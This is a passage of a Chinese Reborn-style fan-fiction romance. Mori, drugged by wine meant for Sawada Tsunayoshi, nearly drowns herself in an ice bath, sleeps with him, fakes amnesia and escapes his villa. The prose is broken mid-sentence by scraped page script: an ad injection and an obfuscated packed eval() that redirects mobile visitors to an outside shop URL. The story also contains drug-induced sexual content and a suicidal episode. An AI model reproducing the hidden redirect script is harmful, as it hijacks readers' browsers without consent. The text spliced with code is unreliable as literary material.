身体里仿佛有火焰在燃烧,越来越热,她无力的躺倒在草地上,半睁着眼,虚弱的喘气。 好奇怪,为什么会这么热? 视野越来越模糊,眼泪被灼干,连呼出的气体都变成了热气。 耳边突兀的响起了电话铃声。 茉莉侧过头望去,从漆黑的世界中寻找到了那唯一的微弱光源,她的手机掉在了几步远的草丛中,屏幕闪烁着,有人在给她打电话。 但是她连伸出手去够手机的力气都没有了。 耳朵贴在草丛上,能够感受到自己越来越快的心跳,以及地面的震动。 有人来了。 远远的,她听到了威廉管家在呼唤她的名字。 太好了,得救了。 她虚弱的阖上眼,原以为威廉管家找到她至少还需要一些时间,但下一秒,一件外套就盖到了她的身上,将她的视野和上半身都笼罩。 然后,有人揽着她的肩膀和腿弯,直接将她打横抱了起来。 “……管家先生……是你吗?” 抱着她的人微微一僵,然后低沉的嗯了一声。 管家先生的声音好像有点奇怪,也许是她现在这幅模样过于狼狈,他有些不知所措吧。 她能感受到威廉管家正在抱着她大步往前走,应该是要赶紧带她回菲尼克斯家族去。 茉莉终于放松了一些,在这个陌生的怀抱中稍微调整了一下姿势,把头靠在他的胸膛,双手抓住他胸口的衣服,虚弱的喘气。 太好了,管家先生贴心的用外套挡住她的上身,这样就没有人能看到她这幅丢脸的表情了。 但是,更棘手的事情好像要发生了。 茉莉感觉自己可能是疯了。 被这样拥抱着,她竟然会感觉到渴望,渴望能够更近一些,让这个拥抱能够更加的毫无芥蒂。 握住她肩膀的那只手,体温比她的低一些,皮肤接触的地方似乎有电流蔓延,四肢百骸都忍不住颤抖。 救命,她怎么会对一位年过半百的大叔产生感觉呢?虽然威廉先生是一位帅气的大叔,那也不行啊! 好丢脸,而且好奇怪! 她现在这种状态,不像是单纯的生病发烧,而是像…… 突然回想起她喝下那家伙手中红酒的那个瞬间,旁边的女仆脸上略带震惊的表情,茉莉突然明悟了。 该不会,她把别人给彭格列十代首领下了药的那杯酒给喝了吧!! F**k!!! 她现在有一种想把那家伙杀了的冲动。 因为“威廉管家”大步往前走的动作,没力气攥稳他衣服的茉莉整个人都有往下滑的趋势,男人于是调整了一下动作,把她整个人都往上掂了掂。 突然的失重感差点让茉莉发出奇怪的声音,她死死咬住嘴唇,才把那从喉咙中破碎的轻吟给压了下去。 茉莉浑身颤抖,她好不容易才勉强平复下滚烫的呼吸,尽量用平静的声音提醒: “别乱动,还有,我脚崴了,一会直接把我放到浴室。” “浴缸里放冷水,加冰块。” 她还以为威廉管家会问她为什么要这么做,但男人却只是低低的应了一声,什么都没问。 这让她稍微放松了一些,但与此同时,被药性驱使着躁动的身躯更加不受控制了。 为什么还没上车呢? 威廉说过,菲尼克斯家族和彭格列家族之间有一段距离,所以他应该开车送她回去才对。 是她对时间的感知已经出现了错觉吗,她总感觉自己已经被抱着走了好久。 不知不觉中失去了意识。 茉莉感觉自己的理智在逐渐崩塌,整个人像是跌进了岩浆之中,身体和灵魂都要一起融化。 直到被放入了全是冷水的浴缸中,她才突然惊醒,惊慌失措的抓住了谁的手,趴在浴缸的边缘艰难喘息。 艰难抬起眼,模糊的视线中,她看到被她握住手的,是一个有些眼熟的黑色西装的青年男人。 他垂着眼,凝视着她,眸光晦暗不明,眉头紧皱,好似有些担忧。 “茉莉,你现在感觉好点了吗?” 这个瞬间,茉莉感觉自己浑身的血液都凝固了。 她惊愕的睁大了眼睛,飞快收回手,捂住胸口沉下水面,只露出一个脑袋,恼怒的瞪着他: “沢田纲吉,怎么又是你?!” 天知道她现在最不想见的人就是他! 等等,该不会从一开始,抱着她离开的人就是眼前这家伙吧?! “见到我就让你这么不高兴吗?”眼前的男人神色复杂,“你现在情况比较特殊,开车回菲尼克斯家族起码还要一个小时,我只能先把你带回来了。” 什么?他的意思是,这里竟然是他的住所?! “混蛋!我不想看到你!!你给我滚远点!!!” 满脸酡红的银发女性恼怒的瞪着他,眼中全是羞耻和愤怒的水光,她一手捂住胸口,另一手抓住浴缸里的冰块就往他身上砸。 “好好好,你别生气,我现在就出去。” 沢田纲吉闪身躲过她挠痒痒般的攻击,后退几步,关上浴室门,隔着门解释。 “很抱歉,让你遭遇这种事情,这件事应该是冲着我来的。” “那个女仆不是彭格列的人,目前还在调查她到底是怎么混进来的,狱寺已经去追查了。” 茉莉已经根本听不进去他说了些什么。 蜷缩在全是冰块和冷水的浴缸里,捂着脸,不受控制的痛哭出声。 好羞耻,好丢脸,好痛苦。 又冷又热,浑身都在发抖。 为什么总要一次又一次的让他看到她这么狼狈的模样。 绝望,仿佛整个人都在往着没有光芒的深渊跌去,她已经看不到任何希望。 只想快点消失在这个世界上,逃到再也看不到他的地方去。 “……” 浴室内压抑着痛哭的哭泣声突然停止了。 门外的沢田纲吉心中陡然一跳。 他突然有种不好的预感,如果现在继续呆站在这里,可能会发生什么让他后悔莫及的事情。 “茉莉!”沢田纲吉不假思索的直接推门而入。 银色长发在水中漂浮。 而她已经沉入了水底。 无法呼吸,肺部的氧气逐渐耗尽。 水面之上似乎传来了谁的,模糊的呼唤声。 好冷。 整个身体仿佛都被冻成了冰块。 她颤抖着睁开眼睛,模糊的视野中,看到那个男人惊慌失措的冲她伸出了手。 ……为什么要露出这种慌乱的表情呢? 明明,她就是个无可救药的坏蛋而已,连她自己都受不了自己,不如就这么放任她消失。 说不出话。 而他已经将她从浴缸中抱了出来,单膝跪地,双手将她紧紧禁锢在怀里。 肺部重新涌进空气,她大口大口的喘着气,被他的灼热的手掌和怀抱触碰的那个瞬间,浑身颤抖,眼前闪过大片大片的白光。 明明只是个简单的拥抱而已。 却让她刚才所有的坚持和努力都付之一炬。 浑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身都湿透了,好冷。 可是他身上好暖,让她根本就控制不住自己,伸出双手绕过他的腰背,紧紧攥住他身后的衣服。 被她拥抱住的男人浑身一僵,然后收紧手臂,将湿漉漉的她抱得更紧了。 但是还不够,这样的程度根本不够。 “……阿纲。” 浑身湿透、冰凉而颤抖的银发女性,突然小声呼喊出他的名字。 ——她刚刚叫他什么? 沢田纲吉震惊到瞳孔颤抖,不自觉放松了双手的力度,垂下头去,他看到了她的眼睛。 那是一双如同湖水一般翠绿的眼眸,映照出他惊愕的面容,有源源不断的眼泪从中流淌而出,滑过那张苍白却又满是红晕的脸颊。 然后,薄唇轻启,吐露出无情的言语。 “我果然,还是最讨厌你了。” 已经不知道自己到底在想些什么了。 或者说,什么都不去想,把自己完全遗忘,或许这样会更轻松一些。 茉莉把他推倒在了浴室的地板上。 坐在他腰上,双手撑在他的头边,湿漉漉的银色长发从肩膀往下滑,衣服也在淌水,然而,最多的还是不受控制从眼角滑落的眼泪。 咬着唇,放任泪水坠落而下,砸在他的脸颊。 她听到他的声音。 “既然这么讨厌我,为什么还要哭呢?” 男人伸出手,捧住她湿润的脸颊。 用戴着薄茧的指腹,轻柔的擦去她眼角的泪水。 如此温柔。 正是因为他总是这么温柔,她才会讨厌他。 双手根本没有力气支撑太久,茉莉倒在了他的胸口,把脸埋在他的颈间。 两个人都将对方抱得更紧了。 像是要将对方嵌进身体里。 她深吸一口气,声音冷漠。 “就是讨厌你。” “讨厌,讨厌,讨厌,讨厌,讨厌……” 言语已经无法表达她的心情。 她狠狠咬住了他的肩膀。 被她咬住的男人浑身一抖,倒吸一口凉气。 然后撑着手坐直了身体,盘腿坐在地上。 还保持着将她禁锢在怀里的动作,两人湿漉漉的身体因此更加紧密的贴在一起。 姿势的变换,让茉莉不得不松开了口。 “你干什么?”她恼怒的瞪着他,“我还没咬够!” 而棕发男人却似乎被她的行为给气笑了,垂眸凝视着她的眼中晦暗不明。 “既然如此,这次该我了。” 然后俯下身,如出一辙的咬住她的肩膀。 茉莉震惊的睁大了眼睛。 比起疼痛,更多的是向四肢百骸蔓延而去的剧烈电流,还有身体中涌出的,无法控制的渴求。 她情不自禁的发出呜咽声,不知是因为痛苦还是什么。 已经完全不受控制了。 这样下去,再这样下去的话…… 明明应该知道的,不管是她还是他,都无比清楚这件事。 但是谁也没有开口说要停下。 用灼热的体温紧紧拥抱着,拽着对方,向那更深的深渊坠去。 即便理智几近崩塌,她还是不甘心,一遍又一遍的否认,说着讨厌。 但是他似乎早就对这样的话免疫了,听她说这种话,反而会忍俊不禁的笑起来。 “这样呢,这里也讨厌吗?” “……唔!”她的声音带上哭腔,“当然,讨厌——” “嗯,那再换个方式,这样呢,喜欢这样吗?” “呜……不喜欢……” “讨厌和不喜欢,你更倾向于哪一种?” “……” 干脆咬着唇不回答。 “茉莉,为什么要一直闭着眼呢?” 明知故问! “……因为讨厌你!不想……看到你!到底……要我说……多少遍!” “如果真的这么讨厌我的话,就不要抱得这么紧了啊。”他的声音中带着笑意。 “!!!” 完全被碾压了。 明明知道她是因为…… 总之,必须想个办法,不能让这家伙再这么得意下去。 于是她强撑着勾起唇,微睁开潋滟的翠绿色眼眸,满眼嘲讽。 “笨蛋,那是因为……我在假装……把你当成我的男友啊……” 他果然僵住了,然后气势发生了改变。 好像真的生气了。 “我也一样。” 笑眯眯的,咬牙切齿。 “……把你当成了我的未婚妻,不然你以为呢?” “……” 更不爽了。 她索性把他拽了下来,再次狠狠地咬住他的肩膀。 仿佛要发泄自己内心所有的愤怒和不甘一般,用上了最大的力气。 他却安抚的抚摸着她的头发。 “好了,别生气了。” “这么不想见到我的话,我还有个办法。” 沢田纲吉把床边的领带拿了过来,在她反应过来之前,当做眼罩般绑在了她的眼睛上。 “这样就看不见我了。” “你可以把我当成任何人。” 5. 久别重逢第5天 第五章 茉莉做了一个梦。 梦中的她似乎又变回了那个骄傲的14岁的自己,穿着层层叠叠的洋裙,银发扎成双马尾,撑着洋伞,站在两侧都是悬崖的小径上。 抬起头,在这条小径的对面,她看到了那个少年。 棕色的蓬松头发,同色的眼眸,穿着并盛中学的制服,用温柔却又怯懦的眼光看着她。 不知道为什么,这一刻,她隐藏在光鲜亮丽的外表下,那个真实的自己,几乎无所遁形。 漂亮的洋裙消失了,低下头,她发现自己竟然穿着一件破破烂烂的灰色长裙。 不想让他看到自己这副丢脸的模样。 茉莉惊慌失措的转身逃跑,但却不小心踩空,惊呼一声坠下悬崖。 她的手被谁握住了。 抬起头,握住她手,拽住她不放的棕发少年,已经变成了青年。 她看到棕发青年担忧的表情,和一张一合的唇,他似乎还在呼唤她的名字,可她根本不想听,只想从这个世界逃离。 好丢脸,好难堪。 他为什么要出现在她面前呢? 她根本就不想见到他,一点也不。 所以她掰开了他的手指,主动跳进了深渊。 但是,让她没想到的是,他也毫不犹豫的跳了下来,握住她的手,把她揽进怀里。 然后,一起坠入海平面。 紧紧拥抱着,纠缠着,一起往着更深的深渊不断下落。 因为他的存在,就连冰冷的海水都变得温暖了起来。 像是泡进了暖洋洋的温泉中。 既温暖,又温柔。 内心所有的不甘、痛苦、绝望和悲伤,似乎都被这样的温柔给抚平了。 她甚至忘记了自己是谁,只想永远的沉醉下去。 …… 好刺眼。 阳光照在了脸上。 茉莉眉头微蹙,缓缓睁开双眼,模糊的视线看到,窗帘好像没拉好。 阳光穿过缝隙,惊扰了她的美梦。 好累,浑身上下都在叫着疲惫,她还想再多睡一会。 茉莉侧过头,避开那道阳光,脸颊却蹭到什么,出现了柔软而蓬松的触感。 她迷迷糊糊睁开眼,看到了一头蓬松的棕发。 好像是谁的头发,有点眼熟。 …… ………… 等等,这好像是谁的脑袋啊?! 茉莉彻底清醒了,她震惊的睁大眼睛,这才意识到,自己正被某个男人抱在怀里,他的左手搭在她的腰上,把脸埋在她的颈间,温热的呼吸弄得她浑身发痒。 还都没穿衣服,她甚至能毫无芥蒂的感受到他的体温和心跳。 “!!!” 茉莉浑身僵硬,屏住呼吸,一动不动。 一旦开始回忆,昨天晚上的记忆就不受控制的,如同潮水一般浮现在脑海中。 昨晚和曾经被自己欺骗过的前男友重逢,发现他竟然成为了意大利最大家族彭格列的第十代首领,她条件反射想要逃跑,结果狼狈摔进草丛不说,还因为被他连累,喝下了原本应该被他喝下的下了药的酒,然后,然后…… 一想起后面发生的那些事情,茉莉整个人都开始冒蒸汽。 她竟然把他给睡了!! 毫无疑问,是她先把他给推倒的,如果不是她主动,也不会有后面发生的那些事情。 这也太丢脸了! 都怪那个药,不然她怎么可能会说出那些话,做出那些事情来啊! 茉莉浑身颤抖,羞耻到连眼泪都快出来了,一想到等这家伙醒来之后自己将要面对什么,她感觉自己整个人都要爆炸了。 而且,她根本就不知道现在已经成为了彭格列十代首领的他,会怎么对待她。 他说自己有未婚妻,即将举办婚礼。 能够坐到这种高度,和彭格列首领订婚的女性,想必应该也是某个家族的首领或者首领的女儿。 在这个时候曝出这种出轨的丑闻,肯定会对彭格列的声誉造成非常可怕的影响,也会影响他和未婚妻之间的情感,说不定还会影响同盟家族之间的利益! 茉莉换位思考,如果自己处在他这样的位置上,为了将损失最小化,只能在一开始的时候就把这件事给压下去。 最简单的方法,就是直接将出轨对象给灭口。 完了完了,从威廉管家的描述判断,菲尼克斯家族只是一个普通的小家族,和彭格列这种同盟家族之首完全不在一个量级上啊! 他如果真的想对她灭口,醒过来时就是最好的时机,她不能给他这个机会,必须想个其他的办法,打乱他的阵脚才行…… 茉莉突然灵光一闪。 她有办法了! 只要用这个办法,不仅可以打他一个措手不及,还不用承认自己昨天晚上做下的蠢事,简直一举两得! 于是,当彭格列十代首领沢田纲吉从睡梦中醒来的时候,看到的就是被他抱在怀里,和他缠绵了一整晚的前女友,眼角含泪,用颤动的翠绿色眼眸紧盯着他的模样。 浑身都是害羞的粉色,还在发抖。 看起来是终于清醒,想起来昨天晚上发生的事情了。 沢田纲吉对自己这位前女友再了解不过,知道她不仅死要面子,还特别爱逞强,估计不能接受这件事情,他已经做好她又要发脾气的准备了。 然后,就听见她用颤抖的声音,小心翼翼的开口:“……你是谁?为什么和我躺在一张床上?” ……嗯?装失忆? 是他未曾设想的反应。 茉莉发现,自己在说出这句话后,身边的男人非但没有震惊,反而忍不住笑了起来。 棕色的眼眸染上笑意,唇角上扬,两个人靠的太近,她甚至能感受到他胸口发出的震动。 果然没那么容易相信。 但是她怎么能这么轻易就放弃! 茉莉双手撑在他胸口,红着脸试图把他推开,又羞又恼。 可恶,浑身都软绵绵的,完全没有力气,这家伙干嘛抱她这么紧,她一时竟然推不开! “混蛋!别靠我这么近啊!我们很熟吗?” 他竟然反问她,眨了眨眼,意有所指:“难道不熟吗?昨天晚上……” “啊啊啊啊我不知道!真的什么都想不起来了!!” 又羞又恼的茉莉随手抓起枕头就往他脸上按,不想看见这家伙讨人厌的笑脸。 沢田纲吉松开揽着她的手,接住枕头,还是情不自禁的想笑:“那你现在为什么这么害羞?” “任谁大早上发现自己竟然和一个陌生人光着躺在一张床上都会和我一个反应的好吗?!” 茉莉简直要被这个厚脸皮的男人给气死了,虽然十年前这家伙在她面前就已经脸皮很厚了,但现在他的等级已经完全超乎了她的想象! “别笑了,给我认真一点!还有不许把枕头拿下来!不准看我!!” “好好好,”某人适可而止,“我不看你。” 茉莉还是觉得不放心:“还不够,你背过去!” 一直到棕发青年真的忍着笑背身过去,她这才长舒了一口气,开始满头大汗的四处找自己的衣服。 可恶,衣服去哪了?怎么一件都没有!! “衣服在浴室,”背对着她的男人突然开口,“但是没洗,现在应该穿不了。” “……” 他怎么知道她想做什么! 不对,更重要的是那她现在应该穿什么啊! “你赶紧起来,给我找件能穿的衣服!”气恼之中的茉莉已经忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13991788|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己装失忆最开始的目的,又恢复了那副颐指气使的语气,“要全新的,没拆过封的那种。” “行是行,但是我这里只有男装……” “哈?”茉莉难以置信的睁大眼睛,脱口而出,“你不是有未婚妻吗?” “你不是失忆了吗,怎么还知道我有未婚妻?” “……”茉莉顿时噎住了。 好好好,在这等着她是吧! “我猜的,本小姐可是明察秋毫。”茉莉冷哼一声,抵死不承认。 “那茉莉小姐还猜的真准,”沢田纲吉声音中带着笑意,“女装我这里确实没有,一会我找人带一套过来,在这之前,你先穿点别的衣服将就一下吧。” ……好吧,现在确实也只能这样了。 余光看到某个人从床上起身,茉莉赶紧裹紧被子,两只手捂住眼睛,不敢看他。 耳边听着他穿衣服的窸窸窣窣的动静,心跳如擂鼓,不由自主的开始想东想西。 他都有未婚妻了,这栋别墅里竟然还没有任何女生的衣服,难不成,昨天晚上他也是第一次……? 茉莉依稀想起来,刚开始的时候他好像确实……咳咳,但是只有那一次,后面就突然越挫越勇,把她折腾的够呛,到最后她都搞不清楚被下药的人到底是谁了! 就在她再次脸红到冒蒸汽时,面前突然投下一片阴影,是沢田纲吉,他已经穿上了居家服,站在她面前,手里还拿着一件衣服。 “我这里没拆封的衣服只有这种白衬衣,你确定要穿?” ……有衣服穿总比光着好啊! 茉莉红着脸拽过衣服,气恼的瞪着他:“怎么,你有意见?” “我倒是没意见,只要你不介意就行。” 哼,这还差不多。 直到把某人赶出他自己的卧室,换上他给的白衬衣之后,茉莉这才反应过来他刚刚的犹豫是怎么回事。 ——怎么会有衣服穿上之后感觉比没穿还羞耻啊! 茉莉还记得,十年前自己穿过他的外套,那个时候穿起来正好,可现在,他的上衣竟然比她大这么多!衬衣下摆都到她大腿了! 可以直接当短裙穿。 衬衣袖子也长了很长一截,她把袖子撸上去又掉下来,烦死人。 但最重要的是,她现在没有内衣穿,直接这么穿也太奇怪了! 可她总不能找他借内衣穿吧!上面能穿的他根本没有,下面的他就算给,她也死都不愿意穿的。 那种搭配实在太丑了。 不过幸好她头发比较长,茉莉把自己的银色长发分成两部分,拨到胸前,勉强算是增加一层遮挡。 穿上衣服后,茉莉直接下床,想赶紧离开这个让她慌乱不已的卧室。 结果刚站到木地板上,右脚脚腕就传来一阵剧烈的疼痛,她痛呼一声,不由自主的跌坐在地上。 好疼! 只是摔了一下而已,本来不至于这么疼,可是因为昨天晚上的事情,她本来就浑身酸痛,现在更难受了。 大腿疼就算了,因为跌倒而震动的胸口也好疼,那个混蛋当自己还是小婴儿吗?昨天晚上玩那么久,还用那么大的力气! 怎么办,现在根本起不来…… 就在这个时候,听到摔倒和惊叫动静的沢田纲吉推门而入。 “茉莉,你没事吧?” 看到她的那个瞬间,满脸担忧的某人站在门口僵住了。 穿着他的衬衣的银发美人正坐在木地板上,膝盖弯曲,双脚紧贴地板并位于臀部外侧,衬衣太大,从左侧肩膀滑了下去,露出肩膀。 而她明显摔得不轻,用裹在袖子里的右手捂住胸口,眼角含泪,艰难抬起眼来,完全没意识到自己的语气中已经带上了撒娇的意味。 “好疼,我脚崴了……” 6. 久别重逢第6天 第六章 茉莉发现某人看她的眼神都变了,这才意识到自己刚才的语气有多别扭和奇怪。 她羞恼的抓住床上的枕头就往他身上砸:“还在那愣着干嘛?走开!我不想看到你!” 她现在会变成这样完全都是拜他所赐! 而且,因为醒来之后,某人一再退让的言语和行为,茉莉在他面前不自觉又变回了一开始的态度。 一是因为过去的习惯,二是因为,他看起来好像并没有因为昨晚的事情而生气。 总归,并不像是她猜测中要对她灭口的样子。 他还是和以前一样,总是对她的各种任性行为和言语无条件接受,这让她不由自主的变回了以前那副娇纵任性的模样。 这样的意识让她羞恼又难堪。 茉莉在心底唾弃自己没用,右手抓住床沿,不顾自己崴了脚还浑身疼痛,执拗的要靠自己站起来。 “……” 明明已经过去了十年,自己早已不是十年前那个什么都做不到的软弱少年了。 可是当她再次对他说出「我不想看到你」这种话时,沢田纲吉却像是瞬间变回了十年前的自己,站在原地,手足无措,心中满是茫然。 好在,这样的心理退行只持续了短短几秒钟。 眼看着银发少女咬着牙艰难起身,他终于回过神来,上前不由分说的将她一把抱起。 然后,在她要再次红着脸发怒之前打断施法。 “茉莉,都是我的错,我不该那么欺负你,”男人温柔道歉,语气诚恳,“你想生气想发火都可以,但请让我尽我所能的弥补你,好吗?” 这一刻,如果有其他人看到眼前这幕,恐怕连眼睛都要惊到掉到地上。 谁也不会想到,被称为里世界Mafia教父的彭格列十代目,会在她这样没有任何反抗能力的少女面前,卑微到如此程度。 但沢田纲吉这般的态度,却让茉莉感到无比熟悉与稀松平常。 以前,他每一次惹她生气,最后都会把态度放到最低,如此温柔又诚恳的道歉,让她根本没有继续发难的理由。 他总是一副老好人的样子,好像什么选择和决定都对他无所谓,但其实确实最固执的那个人。 看似卑微而迁就,但以前的她看不清,现在才想明白,他一直都在用这种方式控制和限制她的选择。 就像现在这样。 但偏偏,每一次,她都拿他毫无办法。 茉莉别过脸去,咬着唇,艰难开口: “我不需要你的弥补,昨天晚上的事情,只能算是我自作自受。” 哪怕她再讨厌他,她也清楚,药是别人下的,他是她推倒的,谁都有错,偏偏他最无辜。 她已经不是小孩子了,是非对错,她能分清,就是单纯的不甘和委屈罢了。 茉莉让沢田纲吉把自己放在沙发上,她坐好,随手拿了个抱枕抱在怀里,这才稍微有了点安全感。 她深吸一口气开口: “给你造成的损失,以后我会想办法补偿给你,至于昨天的错误,我们都忘了吧。” 毕竟,他已经是有婚约对象的人了。 每每想到这件事,茉莉就感觉自己的心仿佛被人生生撕开。 一定是因为愧疚,没错,一定是这样。 “……” 闻言,沢田纲吉脸上的笑容就这样僵在了脸上。 他的眼中带上了一丝痛苦和恼怒:“你把记忆当成了什么,说丢就能丢掉的垃圾吗?” 如果这个世界上真的有失忆药水就好了。 那样的话,茉莉说不定真的会喝下,然后选择忘记这两天与他的回忆。 茉莉并不觉得他眼中的痛苦是因为她。 她只是觉得没劲透了,浑身上下、从心灵到身体都很疲倦。 她不想和他吵架,抱着怀中抱枕的双臂收紧,看着地板上昂贵地毯的花纹,破罐破摔般冷冷开口: “随你怎么想都行,我要回去了。把我的东西都还给我。” 空气中弥漫着让人窒息的沉默。 良久之后,沢田纲吉叹息着开口:“你现在心情不好,我可以理解,也可以原谅你说的这些伤人的话……我会等你冷静下来。” “你在这里坐一会,我找人给你带了新衣服,一会威廉管家会来接你回去。” 茉莉听到了他离开的脚步声。 她坐在沙发上蜷缩成一团,把自己的脸埋在抱枕里,连他的背影都不敢看。 为什么,总是对她这么温柔啊…… 搞得她就像是那个最坏的大坏蛋一样。 但她其实是个胆小鬼。 一个连自己都搞不懂自己在做些什么的胆小鬼。 …… 彭格列的速度很快,茉莉只等了大概十分钟,外面就传来了敲门和交谈的声音。 是一个青年男人的声音。 “十代目!我过来的路上碰到了老姐,她说她有点事,托我把你让她带的东西给你,还让你注意节制。” “……”沢田纲吉沉默两秒,问他,“狱寺,你打开看过这是什么吗?” “没有!”狱寺隼人老实回答,“十代目,关于那个女仆的审讯结果,我需要和您当面报道。” 沢田纲吉微不可闻的松了一口气,“好,你先进来,在会客室等我一下,我马上过来。” 外面传来关门的声音,还有陌生的脚步声,越走越远。 听出那个陌生人不是往她这个方向来,茉莉紧绷的身体顿时放松了下来。 门外传来沢田纲吉打开袋子发出的窸窸窣窣的声音。 还有青年无奈的叹气声。 ……不就是拿个衣服而已吗,有什么让人为难吗? 茉莉感觉自己几乎快要无法呼吸。 她听到沢田纲吉在口袋里面挑挑拣拣,他似乎从里面拿出了几个很轻的盒子,把它们胡乱塞进了抽屉里,然后再推门而入。 听到他靠近的声音,茉莉立马像鸵鸟一般再次将脸埋进了抱枕里。 “衣服我放这了,你先换上试试,不合适告诉我。我让餐厅准备了你爱吃的早饭,一会送过来……你昨晚落下的东西,我都整理好了,在浴室里。” 沢田纲吉絮絮叨叨的叮嘱着,茉莉很想像以前那样,抬起头来抱怨一句「啰嗦死了,我知道啦!」,但她自始至终都没有把自己的脸抬起来。 她什么都没说。 等到那个讨厌的家伙走了以后,茉莉才怔怔抬起头来。 口袋里有一套内衣,还有一条淡绿色的长裙。 剪裁高级又大方,布料柔软舒适,仿佛量身定做一般,穿上身非常合适。 茉莉看着镜中的自己,垂下眼,神色怔怔。 他让下属带女性的新衣服过来,他的下属一定以为这是给他未婚妻的吧? 连尺码都不用问,就能挑到这么合身的衣服……他的未婚妻,和她的身材这么像吗? 难怪昨天晚上能说出把她当做别人这种话来。 不过,她也当场反击了回去,让他以为自己把他也当做了别人。 虽然其实并没有那个人,但茉莉觉得自己扳回了一局。 她没有输。 受伤的脚踝很痛,茉莉扶着墙壁和家具,一瘸一拐,艰难走进浴室。 看到浴室最里面的白色浴缸时,茉莉仿佛被烫到一般,飞快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13991789|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回视线。 这个地方唤起了她昨晚不堪的回忆,茉莉只想赶紧找到自己的东西,然后离开这里。 她在洗手台上找到了自己的手包。 手包敞开着,她的随身物品散落在外,被人整理好后整整齐齐放在桌面上:手机、纸巾、发绳,还有一个破旧的棕色御守。 茉莉呼吸一窒。 她的大脑一片空白。 看到那个御守的一瞬间,大片大片的记忆如同白鸽飞来。 这是十年前的他送她的新年礼物。 寓意平安,是他们一起去神社做新年参拜时,他特地求来的御守。 记忆里的神社是模糊的,雪地是模糊的,风景是模糊的,甚至连她自己都是模糊的。 但记忆画面中的那个少年,却清晰无比。 他身穿灰色和服,脖子上系着一条针脚歪歪扭扭的围巾,蓬松的棕色头发因为出门太匆忙而乱糟糟的。 可每次与她对视之时,少年那双暖棕的眼眸都会随之点亮,仿佛闪烁着点点星光,脸上也情不自禁的露出害羞的笑容。 “茉莉,这个御守送给你,希望你能够一直平平安安的。”陪在我身边。 银发少女接过御守,气鼓鼓的瞪他。 “拜托,你知道我为了给你织围巾浪费了多长时间吗?你就送我这个五分钟就求来的东西?” 棕发少年不好意思的挠挠头,“可是茉莉,你知道的,我手工不好。” 他的声音越来越低:“你要是不喜欢,那先还给我,之后我再给你准备一个别的礼物……” “好了,不要表现得像我在欺负你一样!” 少女将御守攥在手心,别过视线,不自然道:“送出去的东西哪有收回的道理!送都送了,本小姐就勉为其难的收下了。” 看到少年立马露出傻笑,她又连忙澄清:“你记住了,我是因为同情你才收下这个礼物的,才不是因为喜欢,你应该感谢我才对!” “嗯嗯,我知道的!” 少年眉眼弯弯:“谢谢你,茉莉。” 记忆中的最后一个画面,定格在少年注视着她的温柔目光中。 “……” “…………” 开什么玩笑。 开什么玩笑! 御守应该在包里才对。 她一直把它放在包的最内侧口袋,用拉链拉好,是因为昨天参加晚宴,换了个和礼服搭配的手包,她才胡乱的将最重要的东西都放进了这个新的手包。 所以,他绝对看到了吧? 看到十年前随手送出的礼物,竟然被她小心翼翼的随身携带了这么多年,他肯定都要爽死了吧? 这样一来,不就搞得好像,她彻底输掉了一样吗? 洗手台前,茉莉握着那个破旧的御守,浑身颤抖,胸口酸涩到快要爆炸。 有什么温热的东西从眼眶抑制不住的涌出,模糊了她的记忆,也模糊了她的视线。 啪嗒,啪嗒。 滴落在御守、手指,和洗手台上。 “茉莉,你好了吗?” 门外传来青年的呼唤声。 “我把早饭端来了,你出来吃点东西吧。” 无人回应。 沢田纲吉推开侧厅的大门,环顾四周,脸色渐沉。 没人。 侧厅里没人,房间里也没人。 沢田纲吉推开虚掩的浴室门。 浴室的窗户开着。 洗手台上属于她的东西已经消失了。 只剩下一个被水渍浸湿的棕色御守,以及被御守压在下面的纸条。 纸条上写着: ——我不要了,还给你。 7. 久别重逢第7天 第七章 …… 这种彻底输掉的感觉,真是糟糕透顶。 茉莉只想找到一个出口,彻底逃离这里,再也不想见到那个讨人厌的家伙。 这样的话,心脏的位置,一定就不会再痛了。 茉莉从浴室的天花板附近的狭小窗口钻了出去。 唯一值得庆幸的是,浴室的位置在别墅的一楼,外面是柔软的草丛,她的脚伤只加重了一点点。 茉莉扶着墙壁,一瘸一拐的艰难往外走。 她远远看到了几名身穿黑西装、戴着墨镜的男人,他们在别墅附近的路上守着。 离开了那个让她无法呼吸的地方之后,茉莉的大脑逐渐恢复冷静和清醒。 她知道自己草率了。 这里是彭格列十代首领的住所,附近应该有很多安保人员——万一被他们发现,受了伤的自己肯定没办法逃走。 早知道,就应该硬逼着那家伙把她光明正大的从正门送出去。 但倔强如她,怎么可能走回头路。 这是她自己选择的路,哪怕哭着也要自己走完,绝不后悔。 茉莉继续往前走,但预想中的激烈战斗并没有到来,那几个黑衣人突然在耳机中接到了什么指令,面面相觑几秒后,竟然直接离开了。 应该是有其他任务吧。 对于她来说可是好机会! 茉莉忍着脚腕的刺痛,加快步伐,顺着小径往前走。 一路走来,她竟然没有见到除了最开始那几个黑衣人以外的其他人。 彭格列的防守真松懈啊。 等她正式接手菲尼克斯家族,绝对要好好加强家族的防守系统,不能像彭格列这么松懈。 茉莉出神的想着,拐过一个弯,却见到路的尽头竟然站着一个青年男人。 ——不是沢田纲吉。 茉莉第一眼就分辨出来,她轻轻的呼出一口气。 